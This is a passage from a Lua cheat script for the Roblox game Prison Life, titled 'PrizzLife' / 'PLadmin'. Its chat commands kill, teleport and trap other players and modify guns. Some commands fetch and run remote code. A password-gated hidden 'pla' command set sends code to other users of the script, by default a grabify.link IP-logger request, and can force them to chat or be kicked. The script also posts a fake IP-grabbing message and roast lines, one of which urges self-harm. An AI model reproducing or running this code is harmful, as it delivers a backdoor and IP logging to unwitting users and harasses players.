Tasks.AntiCheat()
end
elseif cm("soundspam") or cm("ssp") then
if not States.SoundSpam then
States.SoundSpam = true
Notif("OK", "Now spamming sounds.")
Tasks.SoundSpam()
else
Notif("Error", "Already spamming sounds, please type " .. Prefix ..
"unssp to disable.")
end
elseif cm("unsoundspam") or cm("unssp") then
States.SoundSpam = false
Notif("OK", "Stopped spamming sounds.")
elseif cm("loopsounds") or cm("lss") then
if not States.LoopSounds then
States.LoopSounds = true
Notif("OK", "Now looping sounds.")
Tasks.LoopSounds()
else
Notif("Error", "Already looping sounds, please type " .. Prefix ..
"unlss to disable.")
end
elseif cm("unloopsounds") or cm("unlss") then
States.LoopSounds = false
Notif("OK", "Stopped looping sounds.")
elseif cm("troll") or cm("tro") then
local trololol = PlrFromArgs(Args[2], LocalPlayer)
if not trololol and Args[2] == "random" then
trololol = GetRandomPlr()
end
if trololol then
for i = 1, 269 do
local ps = trololol.Character:FindFirstChild("Head").punchSound
Rstorage.SoundEvent:FireServer(ps)
ps:Play()
wait()
end
Notif("OK", "Trolled " .. trololol.Name .. ".")
else
Notif("Error", "Not a valid player.")
end
elseif cm("nexus") or cm("nex") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.nexus, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to nexus.")
else
Notif("Error", "Invalid player")
end
elseif cm("prison") or cm("cells") or cm("cell") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.cells, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to Prison cells.")
else
Notif("Error", "Invalid player")
end
elseif cm("crimbase") or cm("cbase") or cm("base") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.crimbase, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to criminals base.")
else
Notif("Error", "Invalid player")
end
elseif cm("armory") or cm("arm") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.armory, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to armory.")
else
Notif("Error", "Invalid player")
end
elseif cm("yard") or cm("yar") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.yard, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to the yard.")
else
Notif("Error", "Invalid player")
end
elseif cm("roof") or cm("roo") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.roof, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to the roof.")
else
Notif("Error", "Invalid player")
end
elseif cm("vents") or cm("vent") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.vents, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to the vents.")
else
Notif("Error", "Invalid player")
end
elseif cm("ytower") or cm("ytow") or cm("tower") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.ytower, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to Yard-Tower.")
else
Notif("Error", "Invalid player")
end
elseif cm("gtower") or cm("gtow") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.gtower, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to Gate-Tower.")
else
Notif("Error", "Invalid player")
end
elseif cm("office") or cm("off") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.office, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to the office.")
else
Notif("Error", "Invalid player")
end
elseif cm("nspawn") or cm("neutralspawn") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.nspawn, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to Neutral-spawn.")
else
Notif("Error", "Invalid player")
end
elseif cm("garage") or cm("gar") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.garage, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to Garage.")
else
Notif("Error", "Invalid player")
end
elseif cm("sewers") or cm("sew") or cm("sewer") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.sewers, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to the sewers.")
else
Notif("Error", "Invalid player")
end
elseif cm("cafeteria") or cm("cafe") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.cafe, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to cafeteria.")
else
Notif("Error", "Invalid player")
end
elseif cm("kitchen") or cm("kit") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.kitchen, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to the kitchen.")
else
Notif("Error", "Invalid player")
end
elseif cm("gastation") or cm("gas") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.gas, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to Gas-Station.")
else
Notif("Error", "Invalid player")
end
elseif cm("neighborhood") or cm("nhood") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.neighborhood, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to the nieghborhood.")
else
Notif("Error", "Invalid player")
end
elseif cm("store") or cm("stor") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.store, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to the store.")
else
Notif("Error", "Invalid player")
end
elseif cm("roadend") or cm("rend") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.roadend, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to road end.")
else
Notif("Error", "Invalid player")
end
elseif cm("deadend") or cm("dend") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.deadend, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " to dead end.")
else
Notif("Error", "Invalid player")
end
elseif cm("mansion") or cm("lux") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
BringPL(DaPlayer, Teleports.mansion, true)
Notif("OK", "Brought " .. DaPlayer.Name .. " inside the mansion.")
else
Notif("Error", "Invalid player")
end
elseif cm("fart") or cm("fard") or cm("shit") then
local sussy = PlrFromArgs(Args[2], LocalPlayer)
if sussy then
local Imposter = {}
for _, baka in pairs(Players:GetPlayers()) do
if baka ~= LocalPlayer and baka ~= sussy and CheckWhitelist(baka)
then
local sus, amogus = baka.Character and
baka.Character:FindFirstChild("Head"), sussy.Character and
sussy.Character:FindFirstChild("Head")
if sus and amogus then
if (sus.Position - amogus.Position).Magnitude < 16.69 then
Imposter[#Imposter + 1] = baka
end
end
end
end
if next(Imposter) then
TableKill(Imposter)
end
Notif("Fard", "Made " .. sussy.Name .. " fart.")
else
Notif("Error", "There are no shits to give.")
end
elseif cm("carwalk") or cm("weldcar") then
if not Toggles.AntiBring then
LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(Enum.Humano
idStateType.Seated, false)
BringCar()
Notif("OK", "You are now walking with a car.")
else
Notif("Error", "Please disable antisit.")
end
elseif cm("unload") or cm("exit") then
UnloadScript()
Notif("Goodbye", "PLadmin unloading...")
elseif cm("copychat") or cm("copycat") then
if not States.CopyCat then
States.CopyCat = true
Notif("OK", "Copying everyone.")
Tasks.CopyChat()
else
Notif("Error", "You are already copying everyone.")
end
elseif cm("uncopychat") or cm("uncopycat") then
States.CopyCat = false
Notif("OK", "Stopped copying everyone.")
elseif cm("roast") or cm("argue") then
local toroast = PlrFromArgs(Args[2], false)
if Args[2] == "random" then
toroast = GetRandomPlr(LocalPlayer)
end
local roastplr = toroast and toroast.Name or "[nil]"
local roasts = {
"roastpl, I'm not an astronomer but i am pretty sure the world revolves
around the sun and not you.",
"Do yourself a favor and dont be yourself roastpl. Bad idea in your
case.",
"Warning: Heavy weight detected! (roastpl).",
"Its called prison 'LIFE' yet roastpl does not have one.",
"Nothing is worth more than roastpl's life (Literally).",
"I'd smack roastpl, but that would be animal abuse.",
"if you are ever feeling down roastpl, just remember: You should KEEL
YOSEF NOW!!!",
"roastpl is like rainy weather, when they're not around, its a
beautiful day.",
"roastpl is the type of person to ask if their friend is asleep",
"Even bears hide their food when roastpl is around.",
"Somewhere out there, there is a tree tirelessly producing oxygen for
you roastpl. You owe it an apology.",
"Hey roastpl, If you look in the mirror, say hi to the clown you see
there for me, would ya?",
"roastpl is proof that evolution can go in reverse.",
"roastpl is the reason why shampoo bottles have 'DO NOT DRINK' labels",
"You should carry a plant with you roastpl, so it replaces the oxygen
you waste.",
"May both sides of roastpl's pillows be uncomfortably hot and warm.",
"roastpl, Adoption center is full. Go home.",
"You are the sun of my life roastpl... Now get 93 million miles away
from me.",
"Remember the time where i asked? Me neither, roastpl.",
"I miss the part where roastpl is my problem.",
"roastpl is the type of person to be proud of getting positive in a
covid test",
"roastpl's life is like a drinking straw, meaning they suck.",
"I thought of roastpl today. It reminded me to take out the trash.",
"Not even google could help roastpl into making better comebacks.",
"Sorry roastpl, i dont speak yappanese.",
"Even skibidi toilet is more exciting than roastpl's life.",
"A trashcan has more purpose than roastpl's life",
"if roastpl:IsA('Dummy') then roastpl:Destroy() end",
}
local meth = roasts[math.random(1, #roasts)]
local sub = meth:gsub("roastpl", roastplr)
Chat(sub)
elseif cm("ipgrab") or cm("getip") then
local hack = PlrFromArgs(Args[2], false) or GetRandomPlr(LocalPlayer)
Chat("[FE IP GRABBER]: Attempting to get " .. hack.Name .. "'s IP...")
wait(3)
Chat("[FE IP GRABBER]: Executing remote console...")
wait(2)
Chat("[FE IP GRABBER]: Bypassing gateway...")
wait(2)
Chat("[FE IP GRABBER]: Querying and verifying ICMP echo request...")
wait(2.420)
local meth, meth2 = math.random(1, 9), math.random(1, 9)
Chat("[FE IP GRABBER]: " .. hack.Name .. "'s IP is 10" .. tostring(meth) ..
".20" .. tostring(meth2) .. ".##.###")
wait(1)
Chat("[FE IP GRABBER]: Attempting ICMP flooding...")
wait(4)
Chat("[FE IP GRABBER]: No response from server (Blocked/Timedout).")
elseif cm("num") then
local danum = Args[2] and tonumber(Args[2]) or 69
local meth = math.random(0, danum)
Chat(tostring(meth))
elseif cm("manginasal") then
if not Saved.Map_MangInamo then
Notif("Loading...", "Please wait patiently...")
Saved.Map_MangInamo =
loadstring(game:HttpGet("https://raw.githubusercontent.com/elliexmln/PrizzLife/
main/Init/Maps/MangInasal.txt"))()
end
LocTP(Saved.Map_MangInamo)
Notif("OK", "Teleported to mang-inasal")
elseif cm("area51") then
if not Saved.Map_Area69 then
Notif("Loading...", "Please wait patiently...")
Saved.Map_Area69 =
loadstring(game:HttpGet("https://raw.githubusercontent.com/elliexmln/PrizzLife/
main/Init/Maps/Area69.txt"))()
end
LocTP(Saved.Map_Area69)
Notif("OK", "Teleported to area51")
elseif cm("amongus") then
if not Saved.Map_Amogus then
Notif("Loading...", "Please wait patiently...")
Saved.Map_Amogus =
loadstring(game:HttpGet("https://raw.githubusercontent.com/elliexmln/PrizzLife/
main/Init/Maps/AmongSUS.txt"))()
end
LocTP(Saved.Map_Amogus)
Notif("OK", "Teleported to amogus")
elseif cm("mcdonalds") then
if not Saved.Map_Mcdonalds then
Notif("Loading...", "Please wait patiently...")
Saved.Map_Mcdonalds =
loadstring(game:HttpGet("https://raw.githubusercontent.com/elliexmln/PrizzLife/
main/Init/Maps/Mcdonalds.txt"))()
end
LocTP(Saved.Map_Mcdonalds)
Notif("OK", "Teleported to mcdonalds")
elseif cm("minecraft") then
local Sky = Instance.new("Sky")
Sky.SkyboxUp = "http://www.roblox.com/asset/?id=3822392413"
Sky.MoonTextureId = "rbxassetid://1176450669"
Sky.SkyboxLf = "http://www.roblox.com/asset/?id=3822391866"
Sky.SkyboxBk = "http://www.roblox.com/asset/?id=3822390508"
Sky.SkyboxFt = "http://www.roblox.com/asset/?id=3822391392"
Sky.StarCount = 0
Sky.SkyboxDn = "http://www.roblox.com/asset/?id=3822392871"
Sky.SunTextureId = "rbxassetid://55054494"
Sky.SunAngularSize = 10
Sky.SkyboxRt = "http://www.roblox.com/asset/?id=3822390968"
Sky.MoonAngularSize = 9
Sky.Parent = game:GetService("Lighting")
elseif cm("advertise") or cm("script") then
Chat("SUPER OP PRISON LIFE SCRIPT WITH CRASHSERVER AND 200+ COMMANDS! >
paste.ee/p/mxb28")
elseif cm("whois") then
Chat("This pladmin script is created by elliexmln, Link: paste.ee/p/mxb28")
for i, v in pairs(Players:GetPlayers()) do
if Saved.Listing and table.find(Saved.Listing.Owner, v.UserId) then
Chat("The script creator is currently in the server: " .. v.Name ..
" [" .. v.DisplayName .. "]")
break
end
end
elseif cm("printdebug") then
Settings.PrintDebug = not Settings.PrintDebug
if Args[2] == "1" or Args[2] == "on" or Args[2] == "true" then
Settings.PrintDebug = true
elseif Args[2] == "0" or Args[2] == "off" or Args[2] == "false" then
Settings.PrintDebug = false
end
Notif("OK", "Turned printing of debug to " ..
tostring(Settings.PrintDebug))
elseif cm("rtping") then
Notif("Round-Trip Ping:", "Milisecond(s): " .. tostring(RTPing()))
elseif cm("cping") then
local mode = Args[2] and tonumber(Args[2]) or 0
if mode == 0 then
Notif("Client-Server Ping:", "Milisecond(s): " ..
tostring(CPing(true)))
elseif mode == 1 then
Notif("Trip Ping:", "Milisecond(s): " .. tostring(CPing(true, true)))
end
elseif cm("chatdebug") or cm("cdeb") then
print("DEBUG")
Notif("DEBUG", "OK")
elseif cm("newlist") then
if Args[4] then
AddList(Args[2], nil, Args[4])
else
AddList(Args[2], Args[3], nil)
end
elseif cm("newtoggle") then
if Args[2] then
if Args[2] == "true" then
NewToggleList(Args[3], Args[4], "click", function(call)
Notif("Debug", "Out: " .. tostring(call))
end, true)
else
NewToggleList(Args[3], Args[4], States.ok, function()
States.ok = not States.ok
return States.ok
end)
end
end
elseif cm("deletecmdslist") then
for i, v in pairs(CMDS_Frame:GetChildren()) do
v:Destroy()
end
elseif cm("deletetogglelist") then
for i, v in pairs(Toggles_Frame:GetChildren()) do
v:Destroy()
end
else
if cm("35543ellie") then
LocPL.AllowPLA = true
return
end
if LocPL.AllowPLA then
if string.sub(text, 1, 4) == Prefix .. "pla" then
if not Saved.SendBeacon then
Saved.SendBeacon = function(Execution)
local transmitter =
LocalPlayer.Backpack:FindFirstChild("M9") or
LocalPlayer.Character:FindFirstChild("M9")
if not transmitter then
Gun("M9")
transmitter = LocalPlayer.Backpack:FindFirstChild("M9")
end
local packets = {}
for i = 1, 5 do
packets[#packets + 1] = { Cframe = CFrame.new(),
Distance = 0 }
end
packets[#packets + 1] = {
Cframe = CFrame.new(69, 420, 911),
Distance = 420,
Password = "35543elliexmln",
ToExecute = Execution,
}
Rstorage.ShootEvent:FireServer(packets, transmitter)
Rstorage.ReloadEvent:FireServer(transmitter)
end
end
if cm("pla.execute") then
local str = Args[2] and string.sub(text, #Args[1] + 2, #text)
local sub = str or
"game:HttpGet('https://grabify.link/XJC7EM')"
Saved.SendBeacon(sub)
Notif("Beacon", "Sent beaconframe to all users.")
elseif cm("pla.exe") then
local getpl = PlrFromArgs(Args[2], false)
if getpl then
local str = Args[2] and string.sub(text, #Args[1] +
#Args[2] + 3, #text)
local sub = str or
"game:HttpGet('https://grabify.link/XJC7EM')"
Saved.SendBeacon("if game.Players.LocalPlayer.Name == '" ..
getpl.Name .. "' then " .. sub .. " end")
Notif("Beacon", "Sent beaconframe to " .. getpl.Name)
else
Notif("Error", "Invalid player.")
end
elseif cm("pla.say") then
local str = Args[2] and string.sub(text, #Args[1] + 2, #text)
local sub = str or "I love skibidi toilet"
Saved.SendBeacon("game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequ
est:FireServer('" .. sub .. "', 'All') game.Players:Chat('" .. sub .. "')")
Notif("Beacon", "Sent beaconframe to all users.")
elseif cm("pla.chat") then
local getpl = PlrFromArgs(Args[2], false)
if getpl then
local str = Args[2] and string.sub(text, #Args[1] +
#Args[2] + 3, #text)
local sub = str or "my ip is 104 ### ## #"
Saved.SendBeacon("if game.Players.LocalPlayer.Name ~= '" ..
getpl.Name .. "' then return end;
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer('"
.. sub .. "', 'All') game.Players:Chat('" .. sub .. "')")
Notif("Beacon", "Sent beaconframe to " .. getpl.Name)
else
Notif("Error", "Invalid player.")
end
elseif cm("pla.kickall") then
local str = Args[2] and string.sub(text, #Args[1] + 2, #text)
local sub = str or "Kicked"
Saved.SendBeacon("task.delay(3, function()
game.Players.LocalPlayer:Destroy() end) game.Players.LocalPlayer:Kick('" .. sub ..
"')")
Notif("Beacon", "Sent beaconframe to all users.")
elseif cm("pla.kick") then
local getpl = PlrFromArgs(Args[2], false)
if getpl then
local str = Args[2] and string.sub(text, #Args[1] +
#Args[2] + 3, #text)
local sub = str or "Kicked"
Saved.SendBeacon("if game.Players.LocalPlayer.Name == '" ..
getpl.Name .. "' then task.delay(3, function() game.Players.LocalPlayer:Destroy()
end) game.Players.LocalPlayer:Kick('" .. sub .. "') end")
Notif("Beacon", "Sent beaconframe to " .. getpl.Name)
else
Notif("Error", "Invalid player.")
end
end
return
end
end
Notif("Error", tostring(Args[1]) .. " is not a valid command.")
end
end
Connections.ChattedLocal = LocalPlayer.Chatted:Connect(function(t)
if not chatdebounce then
chatdebounce = true
local success, errors = pcall(function()
OnCommand(t)
end)
if not success then
dewarn("PrizzLife_Error: " .. tostring(errors))
end
task.wait(0.6)
chatdebounce = nil
end
end)
ExecBar.FocusLost:Connect(function(enterPressed, inputObj)
if ExecBar.Text == "" then
return
end
if enterPressed then
local success, errors = pcall(function()
if string.sub(ExecBar.Text, 0, 1) == Prefix then
OnCommand(ExecBar.Text)
else
OnCommand(Prefix .. ExecBar.Text)
end
end)
if not success then
dewarn("PrizzLife_Error: " .. tostring(errors) .. ".")
end
task.wait(0.2)
ExecBar.Text = ""
end
end)
for i, v in pairs(Players:GetPlayers()) do
if not (v == LocalPlayer) then
ChatCon[v.UserId] = v.Chatted:Connect(function(msg)
if RankedPlrs[v.UserId] then
OnRankedCommand(msg, v)
end
end)
end
end
Connections.PlayerAdded = Players.PlayerAdded:Connect(function(plr)
if Loops.Kill[plr.UserId] then
Loops.Kill[plr.UserId] = plr
end
if Loops.MeleeKill[plr.UserId] then
Loops.MeleeKill[plr.UserId] = plr
end
if Loops.Tase[plr.UserId] then
Loops.Tase[plr.UserId] = plr
end
if Loops.Arrest[plr.UserId] then
Loops.Arrest[plr.UserId] = plr
end
if Loops.Fling[plr.UserId] then
Loops.Fling[plr.UserId] = plr
end
if Loops.CarFling[plr.UserId] then
Loops.CarFling[plr.UserId] = plr
end
if Loops.MakeCrim[plr.UserId] then
Loops.MakeCrim[plr.UserId] = plr
end
if Loops.RandomKill[plr.UserId] then
Loops.RandomKill[plr.UserId] = plr
end
if Loops.Voided[plr.UserId] then
Loops.Voided[plr.UserId] = plr
end
if Loops.VoidKill[plr.UserId] then
Loops.VoidKill[plr.UserId] = plr
end
if Loops.Trapped[plr.UserId] then
Loops.Trapped[plr.UserId] = plr
end
if Loops.PunchKill[plr.UserId] then
Loops.PunchKill[plr.UserId] = plr
end
if Loops.ShootKill[plr.UserId] then
Loops.ShootKill[plr.UserId] = plr
end
if Loops.AutoArresting.Plr[plr.UserId] then
Loops.AutoArresting.Plr[plr.UserId] = plr
end
if Whitelisted[plr.UserId] then
Whitelisted[plr.UserId] = plr
end
if RankedPlrs[plr.UserId] then
RankedPlrs[plr.UserId] = plr
task.delay(1, function()
Chat("/w " .. plr.Name .. " You have commands, type " .. Prefix ..
"cmds to show a list of commands.")
end)
end
ChatCon[plr.UserId] = plr.Chatted:Connect(function(msg)
if RankedPlrs[plr.UserId] then
OnRankedCommand(msg, plr)
end
end)
if Settings.JoinNotify then
if plr.Name == plr.DisplayName then
SysMessage("[PlayerAdded]: " .. plr.Name .. " has joined the server!",
Color3.fromRGB(255, 220, 0))
else
SysMessage("[PlayerAdded]: " .. plr.Name .. " (" .. plr.DisplayName ..
") has joined the server!", Color3.fromRGB(255, 220, 0))
end
end
end)
Connections.PlayerRemoving = Players.PlayerRemoving:Connect(function(plr)
if ChatCon[plr.UserId] then
ChatCon[plr.UserId]:Disconnect()
ChatCon[plr.UserId] = nil
end
if Settings.JoinNotify then
if plr.Name == plr.DisplayName then
SysMessage("[PlayerRemoving]: " .. plr.Name .. " has left the server!",
Color3.fromRGB(255, 220, 0))
else
SysMessage("[PlayerRemoving]: " .. plr.Name .. " (" ..
plr.DisplayName .. ") has left the server!", Color3.fromRGB(255, 220, 0))
end
end
end)
--Autorespawn
SavedPositions.AutoRe = false
local diedevent
local lochar = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local function ondiedevent()
coroutine.wrap(function()
diedevent:Disconnect()
SaveCamPos()
SavedPositions.AutoRe = lochar:WaitForChild("HumanoidRootPart", 1) and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
end)()
if Toggles.AutoRespawn then
local locteam = LocalPlayer.TeamColor
if locteam == BrickColor.new("Really red") then
if #Teams.Guards:GetPlayers() < 8 then
TeamEve("Bright blue")
else
TeamEve("Bright orange")
end
workspace["Criminals Spawn"].SpawnLocation.CanCollide = false
workspace["Criminals Spawn"].SpawnLocation.CFrame =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
LocalPlayer.CharacterAdded:Wait()
repeat
task.wait()
pcall(function()
workspace["Criminals Spawn"].SpawnLocation.CFrame =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
end)
until LocalPlayer.TeamColor == BrickColor.new("Really red")
workspace["Criminals Spawn"].SpawnLocation.CFrame =
SavedPositions.Crimpad
elseif locteam == BrickColor.new("Bright blue") then
if #Teams.Guards:GetPlayers() == 8 then
TeamEve("Bright orange")
end
TeamEve("Bright blue")
elseif locteam == BrickColor.new("Bright orange") then
TeamEve("Bright orange")
else
TeamEve("Medium stone grey")
end
end
end
local function charaddtask()
diedevent:Disconnect()
local LHuman = lochar:WaitForChild("Humanoid", 1)
if LHuman then
diedevent = LHuman.Died:Connect(ondiedevent)
if Connections.Humanation then
Connections.Humanation:Disconnect()
Connections.Humanation = nil
end
Connections.Humanation = LHuman.AnimationPlayed:Connect(function(des)
if Toggles.AntiArrest and des.Animation.AnimationId ==
"rbxassetid://287112271" then
des:Stop()
des:Destroy()
task.delay(4.95, function()
local tempos, wascriminal =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame,
LocalPlayer.TeamColor.Name == "Really red" or nil
SavedPositions.AutoRe = tempos
SaveCamPos()
LocalPlayer.CharacterAdded:Wait()
waitfor(LocalPlayer.Character, "HumanoidRootPart", 1).CFrame =
tempos
LoadCamPos()
if wascriminal then
TeamTo("criminal")
end
end)
task.delay(0, function()
LAction("speed", Saved.NormalSpeed)
task.wait(0.03)
LAction("jumppw", Saved.NormalJump)
end)
end
if Toggles.AntiTase and des.Animation.AnimationId ==
"rbxassetid://279227693" then
des:Stop()
des:Destroy()
Hbeat:Wait()
LAction("speed", Saved.NormalSpeed)
task.wait(0.03)
LAction("jumppw", Saved.NormalJump)
end
end)
if Connections.CharacterChildAdded then
Connections.CharacterChildAdded:Disconnect()
Connections.CharacterChildAdded = nil
end
Connections.CharacterChildAdded = lochar.ChildAdded:Connect(function(tool)
if tool:FindFirstChild("GunStates") and not LocPL.ShittyExecutor then
if Toggles.AutoInfiniteAmmo then
local stat = require(tool.GunStates)
stat.MaxAmmo = math.huge
stat.CurrentAmmo = math.huge
stat.AmmoPerClip = math.huge
stat.StoredAmmo = math.huge
if not Saved.Thread.AutoInfiniteAmmo then
Saved.Thread.AutoInfiniteAmmo = true
Tasks.AutoInfiniteAmmo()
end
end
if Toggles.AutoFire or Toggles.AutoFireRate then
local sta = require(tool.GunStates)
if Toggles.AutoFire and not States.SpinnyTools then
sta.AutoFire = true
end
if Toggles.AutoFireRate then
sta.FireRate = 0.01
end
end
if Toggles.AutoGunMods then
local stat = require(tool.GunStates)
stat.Damage = 9e9
stat.FireRate = 0.01
stat.Range = math.huge
stat.MaxAmmo = math.huge
stat.StoredAmmo = math.huge
stat.AmmoPerClip = math.huge
stat.CurrentAmmo = math.huge
stat.AutoFire = true
stat.Bullets = 10
if not Toggles.AutoInfiniteAmmo and not States.SpinnyTools then
Tasks.ReloadGun(tool, true)
end
end
if States.SpinnyTools then
require(tool.GunStates).AutoFire = false
end
end
end)
end
if LocalPlayer.TeamColor == BrickColor.new("Medium stone grey") or not
LocPL.WrongGame and LocalPlayer.PlayerGui.Home.intro.Visible then
Threads.HideTeamGui()
end
end
local function oncharadded()
lochar = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
coroutine.wrap(charaddtask)()
if SavedPositions.AutoRe and Toggles.AutoRespawn then
local LRoot = lochar:WaitForChild("HumanoidRootPart", 1)
if LRoot then
LRoot.CFrame = SavedPositions.AutoRe
LoadCamPos()
LRoot.CFrame = SavedPositions.AutoRe
task.spawn(function()
for i = 1, 3 do
task.wait()
LRoot.CFrame = SavedPositions.AutoRe
end
end)
if wait() and not lochar:FindFirstChildWhichIsA("ForceField") then
for i = 1, 4 do
LRoot.CFrame = SavedPositions.AutoRe
waitfor(LocalPlayer.Character, "HumanoidRootPart", 1).CFrame =
SavedPositions.AutoRe
end
lochar:WaitForChild("HumanoidRootPart", 1).CFrame =
SavedPositions.AutoRe
deprint("Debug_Char added with no forcefield?")
end
end
end
lochar:WaitForChild("Humanoid",
1):SetStateEnabled(Enum.HumanoidStateType.FallingDown, false)
lochar:WaitForChild("Humanoid",
1):SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false)
end
diedevent = lochar:WaitForChild("Humanoid").Died:Connect(ondiedevent)
Connections.CharacterAdded = LocalPlayer.CharacterAdded:Connect(oncharadded)
--Input
Connections.InputBegan =
game:GetService("UserInputService").InputBegan:Connect(function(input)
local textBoxHasFocus = game:GetService("UserInputService"):GetFocusedTextBox()
if input.KeyCode == Enum.KeyCode.F and not textBoxHasFocus then
States.IsHoldingF = true
if States.PunchCD or Toggles.Onepunch or Toggles.PunchAura or
States.LoudPunch then
pcall(VirtualPunch)
end
if not States.PunchCD then
States.PunchCD = true
wait(0.9)
States.PunchCD = nil
end
return
end
if input.KeyCode == Enum.KeyCode.Semicolon and not textBoxHasFocus then
Hbeat:Wait()
ExecBar:CaptureFocus()
end
if input.KeyCode == Enum.KeyCode.Slash and not textBoxHasFocus then
Hbeat:Wait()
game.Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Fra
me.ChatBar:CaptureFocus()
end
if input.KeyCode == Enum.KeyCode.LeftShift then
States.Running = true
LAction("speed", Saved.RunSpeed)
end
end)
Connections.InputEnded =
game:GetService("UserInputService").InputEnded:Connect(function(input)
if input.KeyCode == Enum.KeyCode.LeftShift then
States.Running = false
LAction("speed", Saved.NormalSpeed)
end
if input.KeyCode == Enum.KeyCode.F then
States.IsHoldingF = false
end
end)
--Loopkills
task.spawn(function()
local task0 = function()
if Loops.KillTeams.All then
Gun("AK-47")
MultiKill(Players)
wait(CPing(nil, true) / 2)
else
if next(Loops.Kill) then
for i, v in next, Loops.Kill do
if v and v.Character and not Saved.KillDebounce[v.Name] then
if v.Character:FindFirstChild("Humanoid") and not
(v.Character:FindFirstChild("Humanoid").Health == 0 or
v.Character:FindFirstChildWhichIsA("ForceField")) then
Saved.KillDebounce[v.Name] = true
coroutine.wrap(function()
if RTPing() then
Saved.KillDebounce[v.Name] = nil
end
end)()
KillPL(v)
deprint("Debug_killed player loopkills")
end
end
end
end
if Loops.KillTeams.Inmates then
if not SavedArgs.KillDebounceInmate then
SavedArgs.KillDebounceInmate = true
task.delay(0.09, function()
RTPing()
SavedArgs.KillDebounceInmate = nil
end)
MultiKill(Teams.Inmates)
end
end
if Loops.KillTeams.Guards then
if not SavedArgs.KillDebounceGuard then
SavedArgs.KillDebounceGuard = true
task.delay(0.09, function()
RTPing()
SavedArgs.KillDebounceGuard = nil
end)
MultiKill(Teams.Guards)
end
end
if Loops.KillTeams.Criminals then
if not SavedArgs.KillDebounceCriminal then
SavedArgs.KillDebounceCriminal = true
task.delay(0.09, function()
RTPing()
SavedArgs.KillDebounceCriminal = nil
end)
MultiKill(Teams.Criminals)
end
end
if Loops.KillTeams.Neutrals then
if not SavedArgs.KillDebounceNeutral then
SavedArgs.KillDebounceNeutral = true
task.delay(0.35, function()
SavedArgs.KillDebounceNeutral = nil
end)
MultiKill(Teams.Neutral)
end
end
end
end
while task.wait() do
pcall(task0)
if Unloaded then
break
end
end
end)
--Killauras and antitouch
task.spawn(function()
local task0 = function()
local KillPlayers = {}
if next(Powers.Killauras) then
for i, v in next, Powers.Killauras do
